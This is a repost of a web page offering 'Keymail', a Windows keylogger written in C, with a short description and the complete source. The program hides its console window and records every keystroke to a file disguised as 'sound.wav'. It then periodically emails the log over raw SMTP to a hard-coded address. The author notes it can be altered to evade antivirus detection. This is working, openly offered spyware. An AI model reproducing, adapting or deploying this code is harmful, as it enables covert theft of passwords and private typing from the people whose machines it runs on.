nguồn từ:
http://www.irongeek.comhttp://irongeek.com/downloads/keymail.c------------------
Keymail the KeyLogger:
An E-mailing Key Logger for Windows with C Source
Keymail is a stealth (somewhat) key logger that e-mails key strokes to whoever is set in the #define options at compile time. This code is for educational uses, it should be useful for those that want to learn more about using sockets in C and Windows key loggers. Don't be an ass hat with it, I'll only answer intelligent questions about it so don't e-mail me about the code unless it's to contribute or to ask an intelligent question. Cool thing about it, if Anti-virus apps start to detect it you should be able to just change it a little and recompile it
White Scorpion (
http://www.white-scorpion.nl ) did the initial work on the key logger, but he has gone on to bigger and better things. This version was crafted by Irongeek, who tacked on some code to make it send e-mails, along with a few other changes. If some of the code is crappy, blame Irongeek and not White Scorpion. Please send Irongeek improvements and he will post the changes and give you credit for your contributions. It can be compiled with the Open Source Mingw and the Bloodshed IDE.
Don't forget to change the e-mail options when you compile it (Lines 50-53). Also, check the SMTP.log file for debugging information
-------------------
http://irongeek.com/downloads/keymail.cCode:
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* *
* File: keymail.c Ver. 0.7 *
* *
* Purpose: a stealth (somewhat) key logger, writes to a log file then sends *
* and email to whoever is set in the #define options at compile time. *
* This code is for educational uses, don't be an ass hat with it. *
* White Scorpion (
www.white-scorpion.nl) did the initial work on the key *
* logger, but he has gone on to bigger and better things. *
* This version was crafted by Irongeek (
www.Irongeek.com), who tacked on *
* some code to make it send emails, along with a few other changes. *
* If some of the code is crappy, blame Irongeek and not White Scorpion. *
* Please send Irongeek improvements and he will post the changes and give you *
* credit for your contributions. *
* *
* This program is free software; you can redistribute it and/or *
* modify it under the terms of the GNU General Public License *
* as published by the Free Software Foundation; either version 2 *
* of the License, or (at your option) any later version. *
* *
* This program is distributed in the hope that it will be useful, *
* but WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *
* GNU General Public License for more details. *
* *
* You should have received a copy of the GNU General Public License *
* along with this program; if not, write to the Free Software *
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. *
* *
* Change log: *
* 1/3/06 On Ed Rguyl's recommendation I changed how malloc was used. *
* 6/22/06 Added the date and time functionality using ctime and fixed *
* a bug where subject was being defined twice.(ThVoidedLine) *
* *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
/*
Compile notes: I used Dev-C++ 4.9.9.2 to compie this. if you get an error like:
Linker error] undefined reference to `WSAStartup@8'
Add this:
-lws2_32
to Tools->Compiler Options under the section on compile flags.
*/
#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>
#include <time.h>
int MailIt (char *mailserver, char *emailto, char *emailfrom,
char *emailsubject, char *emailmessage);
#define BUFSIZE 800
#define waittime 500
/*If you don't know the mail exchange server for an address for the following
"nslookup -querytype=mx gmail.com" but replace gmail.com with the domain for
whatever email address you want. YOU MUST CHANGE THESE SETTINGS OR
IT WILL NOT WORK!!! */
#define cmailserver "gmail-smtp-in.l.google.com"
#define cemailto "irong33k@gmail.com"
#define cemailfrom "irong33k@gmail.com"
#define LogLength 100
#define FileName "sound.wav"
#define SMTPLog "ring.wav"
#define cemailsubject "Logged"
int test_key(void);
int main(void)
{
//Uncomment the lines below to put the keylogger in stealh mode.
HWND stealth; /*creating stealth */
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);
{FILE *file;
file=fopen(FileName,"a+");
time_t theTime=time(0);
fputs("\nStarted logging: ", file);
fputs(ctime(&theTime),file);
fclose(file);
}
/* if (test==2)
{//the path in which the file needs to be
char *path="c:\\%windir%\\svchost.exe";
create=create_key(path);
} */
int t=get_keys();
return t;
}
int get_keys(void)
{
int freadindex;
char *buf;
long len;
FILE *file;
file=fopen(FileName,"a+");
short character;
while(1)
{
sleep(10);/*to prevent 100% cpu usage*/
for(character=8;character<=222;character++)
{
if(GetAsyncKeyState(character)==-32767)
{
FILE *file;
file=fopen(FileName,"a+");
if(file==NULL)
{
return 1;
}
if(file!=NULL)
{
if((character>=39)&&(character<=64))
{
fputc(character,file);
fclose(file);
break;
}
else if((character>64)&&(character<91))
{
character+=32;
fputc(character,file);
fclose(file);
break;
}
else
{
switch(character)
{
case VK_SPACE:
fputc(' ',file);
fclose(file);
break;
case VK_SHIFT:
fputs("\r\n[SHIFT]\r\n",file);
fclose(file);
break;
case VK_RETURN:
fputs("\r\n[ENTER]\r\n",file);
fclose(file);
break;
case VK_BACK:
fputs("\r\n[BACKSPACE]\r\n",file);
fclose(file);
break;
case VK_TAB:
fputs("\r\n[TAB]\r\n",file);
fclose(file);
break;
case VK_CONTROL:
fputs("\r\n[CTRL]\r\n",file);
fclose(file);
break;
case VK_DELETE:
fputs("\r\n[DEL]\r\n",file);
fclose(file);
break;
case VK_OEM_1:
fputs("\r\n[;:]\r\n",file);
fclose(file);
break;
case VK_OEM_2:
fputs("\r\n[/?]\r\n",file);
fclose(file);
break;
case VK_OEM_3:
fputs("\r\n[`~]\r\n",file);
fclose(file);
break;
case VK_OEM_4:
fputs("\r\n[ [{ ]\r\n",file);
fclose(file);
break;
case VK_OEM_5:
fputs("\r\n[\\|]\r\n",file);
fclose(file);
break;
case VK_OEM_6:
fputs("\r\n[ ]} ]\r\n",file);
fclose(file);
break;
case VK_OEM_7:
fputs("\r\n['"]\r\n",file);
fclose(file);
break;
case 187:
fputc('+',file);
fclose(file);
break;
case 188:
fputc(',',file);
fclose(file);
break;
case 189:
fputc('-',file);
fclose(file);
break;
case 190:
fputc('.',file);
fclose(file);
break;
case VK_NUMPAD0:
fputc('0',file);
fclose(file);
break;
case VK_NUMPAD1:
fputc('1',file);
fclose(file);
break;
case VK_NUMPAD2:
fputc('2',file);
fclose(file);
break;
case VK_NUMPAD3:
fputc('3',file);
fclose(file);
break;
case VK_NUMPAD4:
fputc('4',file);
fclose(file);
break;
case VK_NUMPAD5:
fputc('5',file);
fclose(file);
break;
case VK_NUMPAD6:
fputc('6',file);
fclose(file);
break;
case VK_NUMPAD7:
fputc('7',file);
fclose(file);
break;
case VK_NUMPAD8:
fputc('8',file);
fclose(file);
break;
case VK_NUMPAD9:
fputc('9',file);
fclose(file);
break;
case VK_CAPITAL:
fputs("\r\n[CAPS LOCK]\r\n",file);
fclose(file);
break;
default:
fclose(file);
break;
}
}
}
}
}
FILE *file;
file=fopen(FileName,"rb");
fseek(file,0,SEEK_END); //go to end
len=ftell(file); //get position at end (length)
if(len>=LogLength) {
fseek(file,0,SEEK_SET);//go to beg.
buf=(char *)malloc(len);//malloc buffer
freadindex=fread(buf,1,len,file);//read into buffer
buf[freadindex] = '\0';//Extra bit I have to add to make it a sting
MailIt( cmailserver, cemailto, cemailfrom, cemailsubject, buf);
fclose(file);
file=fopen(FileName,"w");
}
fclose(file);
//free (buf);
}
return EXIT_SUCCESS;
}
int MailIt (char *mailserver, char *emailto, char *emailfrom,
char *emailsubject, char *emailmessage) {
SOCKET sockfd;
WSADATA wsaData;
FILE *smtpfile;
#define bufsize 300
int bytes_sent; /* Sock FD */
int err;
struct hostent *host; /* info from gethostbyname */
struct sockaddr_in dest_addr; /* Host Address */
char line[1000];
char *Rec_Buf = (char*) malloc(bufsize+1);
smtpfile=fopen(SMTPLog,"a+");
if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
fputs("WSAStartup failed",smtpfile);
WSACleanup();
return -1;
}
if ( (host=gethostbyname(mailserver)) == NULL) {
perror("gethostbyname");
exit(1);
}
memset(&dest_addr,0,sizeof(dest_addr));
memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);
/* Prepare dest_addr */
dest_addr.sin_family= host->h_addrtype; /* AF_INET from gethostbyname */
dest_addr.sin_port= htons(25); /* PORT defined above */
/* Get socket */
if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
perror("socket");
exit(1);
}
/* Connect !*/
fputs("Connecting....\n",smtpfile);
if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
perror("connect");
exit(1);
}
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"helo me.somepalace.com\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"MAIL FROM:<");
strncat(line,emailfrom,strlen(emailfrom));
strncat(line,">\n",3);
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"RCPT TO:<");
strncat(line,emailto,strlen(emailto));
strncat(line,">\n",3);
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"DATA\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
sleep(waittime);
strcpy(line,"To:");
strcat(line,emailto);
strcat(line,"\n");
strcat(line,"From:");
strcat(line,emailfrom);
strcat(line,"\n");
strcat(line,"Subject:");
strcat(line,emailsubject);
strcat(line,"\n");
strcat(line,emailmessage);
strcat(line,"\r\n.\r\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"quit\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
fclose(smtpfile);
#ifdef WIN32
closesocket(sockfd);
WSACleanup();
#else
close(sockfd);
#endif
}
